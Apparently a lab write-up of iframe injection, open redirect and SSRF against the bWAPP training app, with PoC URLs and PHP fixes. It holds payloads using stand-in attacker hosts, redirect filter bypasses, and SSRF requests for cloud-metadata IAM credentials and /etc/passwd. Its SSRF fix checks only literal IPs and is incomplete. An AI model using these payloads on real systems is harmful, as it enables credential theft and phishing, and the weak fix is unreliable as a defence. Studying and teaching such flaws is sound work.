🧪 16 — iFrame Injection, Open Redirect & SSRF

iFrame Injection, Open Redirect & SSRF

🗒️ iFRAME INJECTION

CWE: CWE-79 | **Severity**: Medium

Description

Attacker injects an `<iframe>` tag into user input that renders on the page, loading attacker-controlled content inside the legitimate page.

Affected Endpoint

```
http://localhost/bWAPP/iframei.php
```

PoC — LOW

```
<!-- Inject in URL parameter -->
http://localhost/bWAPP/iframei.php?ParamUrl=http://evil.com
&ParamWidth=500&ParamHeight=500

<!-- Direct iframe injection -->
<iframe src="http://attacker.com/phishing_page.html" width
="100%" height="100%"></iframe>

<!-- Invisible iframe (data collection) -->
<iframe src="http://attacker.com/collect" width="1" height
="1"></iframe>
```

Remediation

```
$url = htmlspecialchars($_GET['ParamUrl'], ENT_QUOTES, 'UTF
-8');
// Whitelist allowed URLs:
$allowed = ['https://trusted-site.com'];
if (!in_array($url, $allowed)) die('Invalid URL');
```

🔗 OPEN REDIRECT

CWE: CWE-601 | **Severity**: Medium

Affected Endpoint

```
http://localhost/bWAPP/unvalidated_redirects_1.php
http://localhost/bWAPP/unvalidated_redirects_2.php
```

PoC — LOW

```
# Normal redirect
http://localhost/bWAPP/unvalidated_redirects_1.php?url=http
s://itsecgames.com

# Malicious redirect
http://localhost/bWAPP/unvalidated_redirects_1.php?url=htt
p://attacker.com

# Phishing use case:
# Victim receives: http://legitimate-bank.com/redirect?url=
http://phishing-bank.com
# URL looks legitimate but redirects to phishing site
```

Bypass Techniques

```
# If http:// blocked:
http://localhost/redirect?url=//evil.com
http://localhost/redirect?url=https:evil.com
http://localhost/redirect?url=javascript:alert(1)
```

```
# Protocol bypass
http://localhost/redirect?url=HtTp://evil.com
```

Remediation

```
// Whitelist allowed redirect destinations
$allowed_urls = ['https://trusted.com', 'https://partner.co
m'];
if (!in_array($_GET['url'], $allowed_urls)) {
    die('Redirect not allowed');
}
header('Location: ' . $_GET['url']);
```

🔄 SSRF (Server-Side Request Forgery)

CWE: CWE-918 | **Severity**: Critical

Description

SSRF forces the server to make requests to unintended locations — internal services, cloud metadata, or internal APIs not accessible to external attackers.

Affected Endpoint

```
http://localhost/bWAPP/ssrf_1.php
http://localhost/bWAPP/ssrf_2.php
```

PoC — Internal Service Access

```
# Access internal services (not exposed externally)
http://localhost/bWAPP/ssrf_1.php?url=http://127.0.0.1/admi
n
http://localhost/bWAPP/ssrf_1.php?url=http://localhost:808
0/status
http://localhost/bWAPP/ssrf_1.php?url=http://192.168.1.1/ro
uter-config
```

```
# Cloud metadata (AWS/Azure/GCP)
http://localhost/bWAPP/ssrf_1.php?url=http://169.254.169.25
4/latest/meta-data/
http://localhost/bWAPP/ssrf_1.php?url=http://169.254.169.25
4/latest/meta-data/iam/security-credentials/

# Port scanning via SSRF
http://localhost/bWAPP/ssrf_1.php?url=http://127.0.0.1:22
http://localhost/bWAPP/ssrf_1.php?url=http://127.0.0.1:3306
http://localhost/bWAPP/ssrf_1.php?url=http://127.0.0.1:6379
(Redis)

# Local file via file:// scheme
http://localhost/bWAPP/ssrf_1.php?url=file:///etc/passwd
```

Remediation

```
// Validate and whitelist allowed URLs
function is_safe_url($url) {
    $parsed = parse_url($url);
    $host = $parsed['host'];
    // Block internal IPs
    if (filter_var($host, FILTER_VALIDATE_IP)) {
        if (!filter_var($host, FILTER_VALIDATE_IP, FILTER_F
LAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {
            return false;
        }
    }
    return true;
}
```

📚 References

- CWE-601: https://cwe.mitre.org/data/definitions/601.html
- CWE-918: https://cwe.mitre.org/data/definitions/918.html

- OWASP SSRF: https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29/